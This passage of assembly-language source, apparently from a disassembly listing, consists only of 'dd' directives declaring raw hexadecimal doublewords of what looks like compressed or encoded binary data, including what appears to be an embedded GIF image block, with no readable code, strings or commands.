		dd 80E73E81h, 0DE74E77Eh, 0E6CE8EE8h, 8C0E80D8h, 1E250730h
		dd 3E0F842h, 0E50FF0BDh, 0CA620D50h, 0A49001A4h, 0A10C6E9Fh
		dd 4A48EA1Eh, 0EA6A58EAh, 0A3A4AEA0h, 9EA5EAAEh, 0EACEA2EAh
		dd 0A3EAEEAFh, 6EB0E9E6h, 0EB2EABEAh, 0B1EADEB0h, 0A684EA2Eh
		dd 0EA4A4BEBh, 0C2EBBEB3h, 50D5A59Eh, 0BD0FF0Eh, 0F1492E5Bh
		dd 3C8C430Dh, 0E608A07h, 0D20CA0D6h, 5ED4ED3Eh,	0ED7ED6EDh
		dd 0D40010CAh, 9ED8EDAEh, 0EDDEDCEDh, 0D7ED9EDFh, 2EE4EE1Eh
		dd 0EE6EE5EDh, 0DDEE8EE2h, 9EECEE9Eh, 0ED6EE7EEh, 0E1EDCEDFh
		dd 0BEF3EE6Eh, 0EDDEF6EEh, 8B0E60D6h, 7C40E940h, 0FF0BBE9h
		dd 0C00D20E2h, 5F04F030h, 0C0F06F0h, 9F05001h, 0AF08F09Fh
		dd 0F0EF07F0h, 3F0CF07h, 0DF12F0CFh, 0F16F16F0h, 10F14F15h
		dd 9F0FF15Fh, 0F1BF13F1h, 1EF04F20h, 0FF1CF17Fh, 2F11F1FEh
		dd 0F10F1DF2h, 0D2F04F0Fh, 0B0FF0E20h, 0C0DEC90Bh, 5F982E5Dh
		dd 0F06147DEh, 0DC08806h, 3CEF70CCh, 6F3EEDBFh,	0F3FEF5EFh
		dd 0EFED5EEAh, 0AF42EEEEh, 0F40EF1EDh, 45EE7ED3h, 1F3FF4BFh
		dd 0F3DEEDF4h, 0CC0CAF52h, 0F0880DC0h, 420E9506h, 0B903E0F9h
		dd 20C4CB50h, 0F61F600Bh, 0B2F63F62h, 6F620010h, 0F65F66F6h
		dd 6BF64F67h, 0F69F64Fh, 0F6FF69F6h, 73F73F6Ah,	0DF71F72Fh
		dd 0F6CF72F6h, 78F70F76h, 0BF61F7DFh, 0F79F74F7h, 7FF6EF7Ch
		dd 0CF6DF7AFh, 0C4F61F6h, 310B9CA4h, 4D8277CFh,	477D845Ah
		dd 6C05E0EDh, 3ED10880h, 0F45F3CF5h, 0E3F42EF2h, 0EF9BF9CEh
		dd 0F9AFA0F4h, 0A0EF0F9Eh, 0CFA2EEAFh, 0F4355CEEh, 3CF98F4Dh
		dd 408A0D6Fh, 0B2EC7406h, 0FF0B803Eh, 0E0B90D50h, 0FB9FB80Ah
		dd 0AEFBBFBAh, 0CFBB0010h, 0FBEFB855h, 0BCFC2FB9h, 2FBAFC1Fh
		dd 0FBDFC4FCh, 0CBFC3FC6h
		dd 0FECEFCAFh, 0FC4FCBFh, 0FD3FCFFCh, 0C9FD2FCDh, 0DFD1FC8Fh
		dd 0FC8FD3FCh, 0D7FDDFCCh, 5FC7FD5Fh, 0FC5FC9FDh, 0D50B90AEh
		dd 0D0B80FF0h, 0F8FC41F8h, 76F91644h, 6064F934h, 0EF7FACF9h
		dd 0DB55EEF3h, 3F9C55DEh, 0FA9EF4F4h, 0F6EEFFFAh, 1100FF9Fh
		dd 65006040h, 1B2A0D05h, 4120F088h, 1A130B85h, 0E1F0C84Ch
		dd 2D078640h, 0F198C45Eh, 6445B5A0h, 1783E4BCh,	7CC86452h
		dd 0ABFD703Eh, 4AD64BB6h, 0CA5D2D96h, 0E632F00Ah, 672D8A4Ah
		dd 32C9ACBAh, 349B4C27h, 4A04F205h, 9BCFE753h, 1512713Bh
		dd 40E853AAh, 0FA9936A5h, 0E774699Ch, 5F48A953h, 0ED55DCBAh
		dd 201F2E1Fh, 1B057E47h, 0B258EC56h, 0ABC1DD23h, 94470357h
		dd 0BEDD6D32h, 0A36EB85h, 0E0F51A8Eh, 579B2D9Dh, 6676DE6Fh
		dd 46E230C8h, 0C260E34Dh, 34563585h, 62F1589Ch,	3F1D8DC6h
		dd 1B8D4656h, 0BC663222h, 3C7CD82h, 0BF68BF17h,	6FE7EAEh
		dd 68A83A1Dh, 9F4DA5D2h, 0F5137D2Eh, 7FA8D66Ah,	8B87E345h
		dd 0B5BDE5C7h, 9B3D836Dh, 0DE5C6D76h, 0BDD6E770h, 0DEF85B7Bh
		dd 0E4C86E78h, 0D86B7561h, 9DCDE631h, 5D1E873Fh, 1E7F4FAh
		dd 9EC75FA8h, 0EE76FB5Dh, 1F4FBDDDh, 1CD58B76h,	8F686E32h
		dd 974497CCh, 96D56CBCh, 5F1F87BDh, 0F4FA7CFEh,	9FC7D403h
		dd 0FE7EFF5Fh, 0F7DFE3FDh, 701402Fh, 6C9AAF84h,	8925D1E4h
		dd 906386F3h, 62D4DCACh, 7F0937ABh, 6AF0BB3h, 9EE91C2Fh
		dd 8270BA44h, 0B95E4E10h, 471117C5h, 1344B124h,	17D1444Fh
		dd 0B164565Eh, 845F1745h, 525E4631h, 1B46B1A4h,	4731C46Fh
		dd 0F15C531Dh, 71084E15h, 16448BA2h, 4F8E8924h,	1CA711C4h
		dd 0B2649725h, 849F2749h, 0A7294A32h, 2B4AB2A4h, 4AE00CABh
		dd 0B2E4B72Dh, 0A13F2449h, 0C70C4883h, 937707Ch, 0B830A37Bh
		dd 27CCC731h, 0B8B0219Dh, 3A498FE2h, 4EB3FEA1h,	33C4EF3Bh
		dd 0F4E93D4Fh, 0FF3F4FA4h, 41503404h, 4F64F507h, 34450F43h
		dd 65174551h, 273ECF74h, 2C0AE3F9h, 0CC474882h,	0A1B1607Ch
		dd 0E1CE711Ah, 3E749CF4h, 51543505h, 54B52547h,	15454E75h
		dd 655752D5h, 5354D495h, 5956356Dh, 0D5557D47h,	0B5BD6F59h
		dd 0A9C473D3h, 0C45806C6h, 32C1B35Ch, 0AE333C23h, 960C2D34h
		dd 0B1EC7941h, 0D22C0742h, 690EA398h, 5AB6A5A7h, 36C5AF6Bh
		dd 0E5B76D5Bh, 0BF6F5BB6h, 715C3705h, 0CE39DBFh, 0C2B0742Ch
		dd 92C4791Eh, 0BC229D67h, 7B9EA748h, 1EE7C1F0h,	37C5EF7Bh
		dd 0E5E97BDFh, 0FB7F5FB7h, 816027DDh, 0E0782607h, 0E7FDE97Fh
		dd 0EE17839Fh, 1F866157h, 89623886h, 0E298A627h, 0A309D27Ah
		dd 4DD67588h, 8B61D836h, 8ED8EDE5h, 91E77585h, 4268D63Dh
		dd 66579509h, 842565B9h, 99663970h, 66B9A667h, 39C66F9Bh
		dd 0CE779D67h, 9B9D6619h, 8F6358FEh, 0EDC4D447h, 20C4481Fh
		dd 97A512E5h, 0A769BA66h, 6A3A869Fh, 0BAA6A7A9h, 0C6AFAB6Ah
		dd 0B7AD6B3Ah, 478A6526h, 647641FEh, 1082D161h,	0AAE96364h
		dd 0ED06EC50h, 2A1047A9h, 6E3B8096h, 0E25EE7B9h, 0C6EFBA07h
		dd 0F7BD6F3Bh, 0BF6FBBE6h, 0F03C06FFh, 9C06EDBFh, 51EC410Ah
		dd 0E3852CB7h, 180641A0h, 72219060h, 0BCA727C9h, 0C72FCB72h
		dd 37C7F33Ch, 0CF73BCE7h, 743D073Fh, 0BD2733D1h, 474FD374h
		dd 0E21A065Dh, 0B51F6658h, 0ECD8FCD7h, 0FD7E44B7h, 0C9E47736h
		dd 0AA6B9C47h, 0DF77BDE1h, 1A06AF7Fh, 0BE278669h, 478FE378h
		dd 97E5793Eh, 0E779BE67h, 7A3E879Fh, 0BE7785E9h, 0D1C06BF7h
		dd 0DCB1E387h, 6A9EA7A9h, 97A5D984h, 0BF217BF0h, 27CFF37Ch
		dd 0D7F517FFh, 0F77DBF67h, 17FF87DFh, 0BFA7E65Dh, 0DFE9FB7Eh
		dd 0F7FD7F25h, 0F47F5FE7h, 315F3FFFh, 2403804h,	780D016h
		dd 0FE316044h, 640B18Ch, 0F81D036h, 17046084h, 0B06AC028h
		dd 0BBB52EC3h, 0D764EC50h, 0D061DA16h, 5848F236h, 42384508h
		dd 84D09612h, 0A614427h, 1642B855h, 2F85D0B6h, 130C6184h
		dd 85758FB6h, 0D8F0370Dh, 0B8750C87h, 0D0F61E43h, 0E2043F87h
		dd 0EE1E50Ch, 2F707A1Bh, 760DC1Ah, 2217A88Dh, 4F89D136h
		dd 0A5146284h, 562A4538h, 0C4578AD1h, 0B8B51662h, 0F1762E45h
		dd 63044B89h, 45E36B18h, 8B119632h, 120E1C62h, 3444A765h
		dd 6F8CC586h, 0E51C6384h, 5A3A4738h, 0C4778DB1h, 0A8F51D63h
		dd 918E3C45h, 60DA666Ch, 47D8D819h, 90D21642h, 22644487h
		dd 4648B915h, 668D4596h, 2523641Bh, 564A4939h, 0C49792D2h
		dd 91F12E4h, 0D26648B2h, 65049F93h, 0CA394528h,	58B26E36h
		dd 2A65249Dh, 564AB955h, 0A69452B6h, 5D2A133Ch,	0D65A4B39h
		dd 54B796D2h, 84272C1Bh, 0D2E1A236h, 6604BF97h,	19FE8530h
		dd 2B10DD1Ch, 0E22CBC89h, 4CB99530h, 91933666h,	321344BAh
		dd 6A4D399Dh, 469AD356h, 0A4C86684h, 766E4D79h,	74DF9BD3h
		dd 0B98D1FD0h, 0D3826DC6h, 2744E79Ch, 2C69B333h, 1F00D422h
		dd 3C674C43h, 59CF39E5h, 351F0EDEh, 0CD38C220h,	0E02205A6h
		dd 0D9779DE0h, 3A054063h, 0D4168250h, 684507A0h, 50BA1542h
		dd 1E51F286h, 1101C0F8h, 0B6C810B4h, 38098168h,	0B53BC7D8h
		dd 768E4F47h, 9492A3D4h, 81F743C7h, 944C2603h, 4B985AA2h
		dd 3DD5E8C0h, 0A5D4B696h, 4C69852Fh, 9A533A65h,	37A6D4D6h
		dd 754E69C5h, 0F69E53BAh, 53FA7D4h, 3A85506Ah, 0D516A254h
		dd 0EA4547A8h, 0B015E94Dh, 0A4F498B5h, 5D01C517h, 0AA55306Ah
		dd 57AAD556h, 0B5566AC5h, 76AE55BAh, 55FABD5h, 3AC5586Bh
		dd 0D596B256h, 6B4567ACh, 56BAD55Ah, 0ADD5B6B6h, 57EB856Fh
		dd 0A7524AA3h, 280CB452h, 0E75E4225h, 0BE57D2BAh, 7FAFD5F6h
		dd 5606C05h, 16C2583Bh,	4587B0D6h, 0BB15626Ch, 0D636C658h
		dd 6C858FB1h, 593B2564h, 0B2D656CAh, 3E6BCD87h,	0BBD76AEBh
		dd 51A50146h, 45686D00h, 96D25A3Bh, 45A7B4D6h, 0BB556A6Dh
		dd 0D6B6D65Ah, 6D85AFB5h, 5B3B656Ch, 0B6D6D6DAh, 6E6DC5B7h
		dd 0DE5BBB75h, 28B596F6h, 85672CDDh, 16E25C3Bh,	45C7B8D7h
		dd 0BB95726Eh, 0D736E65Ch, 6E85CFB9h, 5D3BA574h, 0BAD756EAh
		dd 766EC5D7h, 0EE5DBBB5h, 0DFBBD776h, 0C5786F05h, 96F25E3Bh
		dd 45E7BCD7h, 0BBD57A6Fh, 0D7B6F65Eh, 6F85EFBDh, 5F3BE57Ch
		dd 0BED7D6FAh, 7E6FC5F7h, 0FE5FBBF5h, 0FFBFD7F6h, 5807005h
		dd 1702603Ch, 4607C0D8h, 0BC158270h, 0D8370660h, 70860FC1h
		dd 101C1F84h, 3B00h, 0
		dd 38464947h, 21D6137h,	0FFE70178h, 10000h, 2700031Dh
		dd 1330002h, 2003801h, 4100013Ch, 410300h, 460Ch, 160C004Ah
		dd 470FF00h, 0A047410h,	68160960h, 0E5F0E09h, 18038209h
		dd 850E1254h, 8860F06h,	19155509h, 850F00A1h, 1A21508h
		dd 160F7A18h, 90120E7Fh, 0A911709h, 9166C10h, 790D089Ah
		dd 0B91B12h, 19157111h,	9C1407A5h, 16731B09h, 0B02BC13h
		dd 0AF0B06AFh, 0B9C0307h, 21147A16h, 0C51906B0h, 4BA1102h
		dd 1408B11Fh, 0D01802C5h, 0CA80F00h, 200BA60Fh,	6F1700D0h
		dd 0EA0261Ch, 0C00DA23h, 0DA292949h, 13951500h,	1B1A8124h
		dd 0B2221886h, 168E220Bh, 1D00DB22h, 0BC1A1790h, 1E7C1A0Ah
		dd 0A09C814h, 0A91711AAh, 0E81D11h, 1F05D10Ch, 0BE1400E6h
		dd 7D3140Ch, 1107D308h,	0A30505DEh, 0BC91416h, 200AC813h
		dd 0DC2A1C89h, 13A92404h, 1600F028h, 0AC1006DEh, 13B71914h
		dd 2414AB09h, 871B0CC9h, 2E71A20h, 211E8C2Ah, 7D1807DEh
		dd 11C12323h, 1D23800Fh, 861114B7h, 14B72521h, 2516AC18h
		dd 8B1C19A5h, 13C13120h, 1D03F517h, 0FF322B68h,	1D9E2200h
		dd 29218F22h, 8A1F07EAh, 0FD62224h, 1B0FD614h, 0EB1613CCh
		dd 16C2180Ah, 232E701Fh, 0D62212D6h, 2A862812h,	311FAC28h
		dd 0BD3E1ABEh, 14E32B1Dh, 2314E41Ch, 0F82F299Ah, 23AB260Eh
		dd 2420BE3Ah, 0B72123B7h, 2A9A2623h, 3427A638h,	881B14EFh
		dd 1DD23630h, 3B28A521h, 0BA2720D2h, 18F12F27h,	2B1CE623h
		dd 0C7C04D1Ch, 485E2A2Ah, 3423DF3Ch, 0D82924E1h, 29D03126h
		dd 3024E22Eh, 0E14B417Bh, 29DA3B25h, 342DCC2Dh,	0F53929D9h
		dd 25EC2D22h, 3220FF2Fh, 0ED525453h, 29FB372Bh,	4940E837h
		dd 59CD6F39h, 7C478873h, 64798DD5h, 3E9C866Ch, 8A59B891h
		dd 736BEBD7h, 567C75E0h, 9575FD98h, 0A99986D2h,	0EC8B87D2h
		dd 0A3998C86h, 0E4AC83B1h, 0EBF9AF7Ah, 0AEAEA19Bh, 0A9A7D3B5h
		dd 0A6CFB2A4h, 0AAF9DFB9h, 0C6BEBFAFh, 0EFE2C0AFh, 0C7A4B9B5h
		dd 0FFCEB1FEh, 0F3C4CEF0h, 0CCFFD1CFh, 0D7CCFED0h, 0FDFFD9C5h
		dd 0DBD3E1CCh, 0E2D1FFE3h, 0FED5D3FFh, 0DCE7DCD3h, 0EADFDFEFh
		dd 0EEE1DAF5h, 0DCF4E5DCh, 0EBDDECD9h, 0E9ECDFE6h, 0DAF8E5DFh
		dd 0DFDFEDEDh, 0E1CEDDFAh, 0E7CAECE2h, 0E6E2E4FFh, 0FDD4E5E1h
		dd 0E2E8E6DBh, 0E7E4DFDFh, 0D9E0E4E2h, 0E6DCE7E6h, 0DBE6DFE1h
		dd 0E3EEE5DCh, 0DEF4EEE3h, 0FAE6D6F0h, 0D4DFE9D7h, 0E6DAE8E9h
		dd 0E8E4E6F5h, 0E2D1ECD9h, 0E2FFF6E6h, 0D7E7F3E1h, 0FFEEEBE6h
		dd 0EDE4EBE4h, 0E4E7FFF6h, 0FBF6ECEBh, 0E9FDE4EAh, 0F3E9FFEBh
		dd 0FFEDEBFFh, 0EDFDE1EDh, 0F6EDFFE8h, 0EBF6F3EEh, 0F0FDFCF4h
		dd 0E4F4FBF0h, 0FDEDF4FDh, 0F7F2F9F3h, 0F4F8F5FAh, 0F6F7F9FFh
		dd 0FAFDFEFCh, 0FAFFF5FFh, 0F9F4FDFEh, 0FFFEFFFFh, 2CFCh
		dd 21D0000h, 8000178h, 100300FEh, 0C1E08028h, 6030303h
		dd 90901008h, 5018100h,	38982208h, 8A446231h, 7C3A2208h
		dd 0C7A2D098h, 4C0C068Fh, 62918914h, 46040181h,	9160347Ah
		dd 2902C965h, 0D0783411h, 9080E320h, 0C0163F21h, 45A752C9h
		dd 564B3B94h, 0A3F1085Ch, 392C0142h, 50C07C4Eh,	0E034D64h
		dd 8894F677h, 9EC623A0h, 345A6B26h, 0C3A2D3E9h,	9E630A84h
		dd 2290C884h, 8B398EC4h, 71585C66h, 11824BC0h, 20246423h
		dd 44865B2h, 145E5524h,	48AF172Ah, 42E90C84h, 0A7F0DB05h
		dd 0E14493DBh, 9038D46Ah, 4487C365h, 8CCBA81h, 0A963F093h
		dd 863A2195h, 0D8243268h, 272D5F8Dh, 401AACh, 17350702h
		dd 98EBDC32h, 6B0481A8h, 792CDF4Bh, 82D53297h, 0C5DA2B42h
		dd 56EF342Bh, 72573CDDh, 0B3378A0Dh, 0ED8C9C5Ah, 7218258Eh
		dd 29884460h, 7AF74A07h, 9849E1F6h, 90C8071Ah, 19C6E4D1h
		dd 0FEE65E35h, 66AF1788h, 5E2F170Eh, 8F596072h,	0F79A0725h
		dd 0E7C877EFh, 0FD8B45C2h, 63F3ECFBh, 0BE5F0F81h, 0B03BF617h
		dd 0E97DC5E7h, 7F05A135h, 4D135EFh, 8834397Ah, 0EC58169Eh
		dd 5884C370h, 85DE80E0h, 20D7DA0Ah, 0D1A1F21Ah,	0AC6A1AA0h
		dd 5688C567h, 7A1E2168h, 0A037E5EFh, 97B1FF7Dh,	0CE098AC3h
		dd 678705E1h, 8BE118B0h, 85A8E5F7h, 21A03B17h, 0B5F2871Eh
		dd 2F7ADE87h, 7AE437FAh, 0E177C208h, 0F02DF783h, 78681E47h
		dd 820E47F0h, 17A1E81Ch, 45A1E423h, 0A8BDF20Eh,	0D8390DDEh
		dd 0E1986127h, 179E378Dh, 0A2894038h, 87985C8Fh, 0A46A9A46h
		dd 269545C9h, 9DC3878Ah, 0E048EE17h, 308A108Ah,	0C05A1603h
		dd 0D7A63B1h, 8B62B8BEh, 0A3BA05E1h, 0D7C83784h, 569DC3h
		dd 237B210Ah, 8F6960F6h, 0E68A19EFh, 67E6219Dh,	2388728h
		dd 71A10589h, 882200E2h, 6117A9FAh, 21CDF686h, 4CFE9766h
		dd 0A9EB2A9Eh, 86A16284h, 9AE5F415h, 0CC5C7DEBh, 0C0AEA20Ah
		dd 0A985AAEAh, 6BFAB620h, 0AB0671AEh, 0EEB2AEACh, 5EA1617Ah
		dd 78DF7818h, 0AAE81A8Dh, 2208700Ch, 2C651C08h,	1136822h
		dd 0A06AE0E6h, 8820C870h, 0D9D1F70Ch, 30911604h, 291D1DC4h
		dd 10861148h, 452BD441h, 0F0B02C0Ah, 0F4420882h, 0BFEFEBh
		dd 0C0F0214Bh, 306C02F5h, 2C1EF3C0h, 0E842BF04h, 0AC3F0A0h
		dd 0C1B10C33h, 441C56F5h, 3BF70918h, 2EF10A70h,	220C307Ch
		dd 8B21BF0h, 852106F3h,	9C3F0EC4h, 6706C872h, 13CB842Ch
		dd 9F2EC3Fh, 85408AFDh,	70871D0Eh, 0FB2CC3F2h, 0BD041Bh
		dd 0CD41708Bh, 452C570Ch, 6D1B3A08h, 329C1F2h, 41BF738Ch
		dd 0C5B52128h, 43A0A713h, 512B07D3h, 0BC52C62Fh, 52C5B02Ch
		dd 0D4F52C2Bh, 0B18BF715h, 0C5F3DBFh, 56F4D033h, 5DC9B48Ch
		dd 0DAF0ED5Fh, 0F5A09EFFh, 31844AC0h, 4ADEFE35h, 0D777EC0Ch
		dd 0B7FBFF6Dh, 3BD852D1h, 2380C6B0h, 16BDB5FEh,	0DFB70E37h
		dd 0B6EC9821h, 8E233112h, 5EFEDA35h, 3FD0C540h,	152FFCFFh
		dd 0C74C1C30h, 26987019h, 0F83A2008h, 2F0842C0h, 0C738FC1Ch
		dd 0B8EE16F1h, 1C6366E7h, 0CBB8DFC6h, 1CBDF86Eh, 0EC770DFBh
		dd 78FE0FB9h, 0BE37BEF0h, 1442ED38h, 4ECBBBFh, 0EE7C2BD3h
		dd 0BCB0BC2Fh, 30B38EDBh, 1385BE70h, 0B9F031BFh, 0C9BC2E13h
		dd 0FC90873Ah, 3EB452D7h, 0F791C13Ch, 91D1F91Eh, 0A749D23h
		dd 829C9BD2h, 0DE1792E1h, 0AB47D237h, 1808740Dh, 0E3379087h
		dd 0FC98237Dh, 0B1AF5782h, 2C082E45h, 0ED95E00h, 35F1B027h
		dd 238E6B4Eh, 0B7980BE0h, 0EFC5F2B8h, 5EFAFE5Eh, 30904EE3h
		dd 7E6F9E01h, 0E21FA3C3h, 0AFB0A052h, 2D6C6D21h, 2103D8CBh
		dd 0F9A42F58h, 0B3886CEBh, 460F0358h, 0F079E541h, 99FC0767h
		dd 0B92792EDh, 84EC420h, 5B1B3AFEh, 3027D610h, 674F659Dh
		dd 683D82Ch, 2C1290B4h,	1F058088h, 14DF4178h, 0B9D93B36h
		dd 0BB0A7DCFh, 485715E2h, 510DD9B9h, 0DE743909h, 0B52774F1h
		dd 8CCF221Ch, 1622D38Dh, 0B23B375Dh, 2D8B710Dh,	2D179B7Ch
		dd 11DD4076h, 634782ACh, 364AE361h, 2ED98B47h, 0C2936E61h
		dd 410764D8h, 7DD1F221h, 0E45F045Fh, 133DC6FAh,	2D60AEEAh
		dd 58E50214h, 0C209BD97h, 7BF4708Dh, 0C084C5DCh, 0BCD97B1h
		dd 0A0F4438Dh, 0B7E6F4C0h, 6D4D9DFFh, 1C17FBC8h, 846C60Bh
		dd 5878E16h, 32E55F5Ch,	56563DB8h, 7CB3850Ch, 9770F698h
		dd 0DFA3C49h, 0E2F3006Ah, 2F27C6E1h, 84EDB5C1h,	2F9DBB63h
		dd 30B91771h, 36888EECh, 0A3119C2Ch, 83A0376h, 903D2442h
		dd 207C0F82h, 0D0F621AFh, 5DA33E79h, 47D7BB15h,	9C9095C7h
		dd 0F6982B6Dh
		dd 1948F704h, 0EE86F0CEh, 60C0A76Ch, 0CDE5BB07h, 0FE5E9810h
		dd 68DC1E3Bh, 0ED82CAA9h, 2AF37010h, 0E976C1A6h, 0F159F9B7h
		dd 1F93B177h, 4FB98909h, 9950924Eh, 0CF9A33F5h,	4B4139D8h
		dd 0F4926CFEh, 9709A1CAh, 0DE204B06h, 0BBC950Eh, 979D0FDEh
		dd 0F34E1950h, 67748071h, 0CE977104h, 9C2E05B2h, 0FAE2F3CFh
		dd 0B7B09958h, 9A79523Dh, 4F2672Ch, 527D3E77h, 0A4C798CDh
		dd 0DA54F6A3h, 6EF5E8B8h, 5B2CE17Bh, 0D036351Ch, 6DEBF61Bh
		dd 1EDA8BFBh, 8987F066h, 0AB7580ECh, 8B08030Bh,	0E272D338h
		dd 0D3DD9E34h, 0B85F1FA0h, 0BDA0743h, 1E0C2F86h, 0CEE9695Ah
		dd 7E35B9E8h, 3C6A5331h, 0FE2FE787h, 5B6311FDh,	9540674Bh
		dd 81D939D6h, 23507253h, 3879399Eh, 0AC19A3B8h,	14BBE63h
		dd 0D8A87CFEh, 8EAFD57Fh, 105FBBBEh, 8D4AA729h,	0A96A1379h
		dd 34F65C54h, 52513E48h, 341AA8F0h, 0F77D4123h,	1319C5CBh
		dd 98045E9Eh, 0CC3988F8h, 91F67A9Eh, 63FE0C72h,	0C329CB5Dh
		dd 8BD3E197h, 0B2DCB63h, 0DCCC88DDh, 9E61F2B2h,	57279C33h
		dd 368FD65Bh, 0BD7D76D0h, 0B0351264h, 40E48C83h, 5795AB6Fh
		dd 0D5F73CD2h, 9736FEA4h, 60A7B598h, 963DE829h,	0AEAF144Eh
		dd 0CEF8DC4Dh, 578D059h, 0ED8E71B7h, 796F4E1h, 4EEE01C2h
		dd 0E3138FA2h, 5B4A20E1h, 68F24D7Fh, 10267347h,	0CB5E3B01h
		dd 7BA02CEAh, 19771A55h, 0D9C55997h, 0FBD988CBh, 0B8312C29h
		dd 56D9BA47h, 0DCACC4B8h, 473BAD2Fh, 81D3DEC7h,	15222AF7h
		dd 86420A7Bh, 66BAF0DAh, 4D72863h, 72EC51CBh, 8CAFBA92h
		dd 0D5FD8161h, 8D5A0CB1h, 0E76DE78Dh, 32692F2Dh, 9E5775EBh
		dd 0F8A48CD2h, 3A07B042h, 732AA0F4h, 36108198h,	1ADA3E00h
		dd 4E48C8F9h, 0CC9792B2h, 0F93B26E4h, 0B28E50C9h, 0E54CA794h
		dd 0CAF95B2Ah, 96B2CE58h, 4203ACB5h, 80D01D0h, 7413C269h
		dd 6EE98270h, 4E68CCF9h, 0D79AFEB3h, 0BB36E6CCh, 8E70CDF9h
		dd 27679CB3h, 0C19C2684h, 0C269110Bh, 0D3E838D5h, 0CFF9FB39h
		dd 0A0B40E80h, 42E84D07h, 84B53A1Bh, 8060198h, 0AC1D0372h
		dd 3DEDB6C0h, 4D27A4B4h, 0FA5B4AE9h, 0B36E98D2h, 3306E10h
		dd 0D1DA3034h, 0A641D4C5h, 52EA4D47h, 0A8D4FA9Bh, 6E12B416h
		dd 234F04F0h, 4B570D00h, 9D22BCC1h, 0FADB5AEAh,	75CEB8D6h
		dd 7B085AEh, 23206430h,	0B17E073h, 5D6B467Eh, 0C8D8FB1Bh
		dd 0D9B2B64Eh, 1D0821Ch, 385A2102h, 407C1843h, 0FB5B65E0h
		dd 0B6CED8DAh, 308BDB6h, 78FC1Dh, 1D83F03Fh, 1CE2F02Eh
		dd 0EB8658CFh, 671C7035h, 2F1A4A07h, 4E209BCDh,	8627046Dh
		dd 786F135Eh, 0AA6CC38Eh, 0EFC8ED95h, 0CA78CAD1h, 4BEEAC77h
		dd 0F15D9DEDh, 2BBD34AEh, 6D067256h, 0B6974049h, 8498C154h
		dd 4C61C3B7h, 9C437A67h, 0D885B9C9h, 0C7267D60h, 0E1E15210h
		dd 0C2389F0Fh, 714C27FEh, 0BF4BFF10h, 91AD326h,	3782B0A5h
		dd 6A24E158h, 0FC0840E8h, 66CA35A0h, 367DC0D0h,	4B59C139h
		dd 5C879DF2h, 24CEFFBBh, 73DA7158h, 0E2730784h,	8C6ECE49h
		dd 2770EAC5h, 3FDECF07h, 9516E025h, 5296EF5Eh, 0F537A56Ch
		dd 37C6DFF7h, 784B0BC1h, 3B0D9B8Ch, 5629355Bh, 0E831F6D4h
		dd 5371C5E1h, 0F175A78Bh, 66EDB3B2h, 71DC240Fh,	498158A7h
		dd 0CBA10A4Dh, 62501717h, 41D82105h, 5E432008h,	0C2199786h
		dd 77CF4F88h, 5263DEF7h, 5A75EDFBh, 6DE1F77Ah, 0C92F2617h
		dd 57B8F92Bh, 6F41ABDEh, 0FBC993F8h, 0FC7A3C8h,	65E760EBh
		dd 609F2B04h, 0F1D94AF5h, 5BACB75Bh, 0CE5DAA57h, 5FEE7693h
		dd 379F7B8Dh, 0FF0AF9ACh, 0BD98A1BCh, 29F5EC37h, 20BDC7FAh
		dd 0A04B7D61h, 0F7BEFE08h, 6015801h, 3083F84Fh,	770E81D6h
		dd 0CEF9FF38h, 0A5F48757h, 5BEA8E8Fh, 68E8FAFFh, 0FEB7F686h
		dd 37EEFDCFh, 0FE01723h, 18E2E7Fh, 5F73EF7Eh, 7F4FE6FCh
		dd 7D3FAA33h, 0FDFF4FEBh, 0F40757F0h, 0F9FD3FA1h, 0EF1DDFDBh
		dd 0F1FEBFBFh, 0FBFEFF1Fh, 27D8FA9Fh, 0EF7FA7Dh, 4805804h
		dd 8087FF8h, 80B0F57Fh,	0FA80B80Ch, 18100F07h, 0EB81081h
		dd 0EC0F00EBh, 0E0EF7CC0h, 80480B0Eh, 0FB81C7CEh, 8097F67h
		dd 8217CF7Fh, 0F3808824h, 90E60F30h, 8120EC82h,	0F00F60F6h
		dd 0C0F30F60h, 8090E87Ch, 0FB80E81Dh, 57F48257h, 7F583A82h
		dd 0FC81F836h, 68060EA7h, 0EF83D80h, 108120F3h,	28480EC8h
		dd 0F38277Dh, 0F483E81Eh, 0F7D57D87h, 8348067Ch, 0EA819852h
		dd 30D20E60h, 0D38040Eh, 76017080h, 911005A0h, 7507403h
		dd 0F60C0062h, 0D0ED0EB0h, 80484C0Eh, 140ED80Bh, 98290EB8h
		dd 8730C582h, 0BA0C5874h, 98787E20h, 0BA0B987h,	7C87D87Ch
		dd 77E287A8h, 0BB0B687h, 0B98800C1h, 88FE0C10h,	0F7D77E28h
		dd 87187086h, 2988F88Eh, 88C88B8h, 88C7D585h, 0EE0E688Dh
		dd 0D8078407h, 7D78947Eh, 0A089F890h, 0D89388F8h, 8A58A489h
		dd 6F896850h, 68A189D8h, 0CB0DB0Eh, 8C0E60DBh, 68A68908h
		dd 89D8148Ah, 97829896h, 0F8BA8AB8h, 88E0D289h,	0B8847815h
		dd 0E88C8908h, 8698A886h, 0D80EA805h, 88B086F7h, 8958A38Ah
		dd 0D08BB8CAh, 886F8B88h, 8A18A58Ch, 0AF88D8CCh, 18488A18h
		dd 8B58A489h, 0CB8CF8CEh, 68D08CC8h, 0E88687Dh,	0D20C50EDh
		dd 0D8298BD0h, 7607403h, 7F00669Eh, 203707B0h, 118B006h
		dd 0F6014011h, 0D8FA8F98h, 8F900D00h, 0FC8FD8FCh, 39021068h
		dd 90590490h, 0FA106906h, 39079078h, 90D01C02h,	290D90Eh
		dd 118FA9h, 91591402h, 18023914h, 0A9199179h, 91D91891h
		dd 2391F91Eh, 89220180h, 91691601h, 2827791Fh, 0B92A9299h
		dd 92292C92h, 1E01E277h, 2092FEC0h, 592C9279h, 93393593h
		dd 20925023h, 0D0289300h, 93D93E93h, 3E01E1E8h,	89219259h
		dd 94793601h, 4A923928h, 291E0189h, 93A91B92h, 52951950h
		dd 901E0289h, 93F03803h, 5A1DB93Dh, 403295B9h, 23923A91h
		dd 1E952926h, 294F93A9h, 96796695h, 39967968h, 0A9380209h
		dd 95893C93h, 6B915970h, 0E9149699h, 92394B01h,	2096491Dh
		dd 9309169h, 95505A02h,	0E8070039h, 30790E30h, 45557Ch
		dd 7F0741DDh, 70ED0BA0h, 140148Fh, 0D9918FFh, 0E00E9250h
		dd 0B02800h, 9A999998h,	90189779h, 1999E01h, 0A29A1016h
		dd 0F9A09A19h, 0C99F99h, 0AA0129A6h, 0C01299E9h, 160129Ah
		dd 0A79AB9AAh, 94A00C9h, 9B701093h, 0A39B99A3h,	0D9BC01A9h
		dd 9BF9BE9Bh, 0C232301Ah, 19C00229h, 3239BC9Ah,	0C9017030h
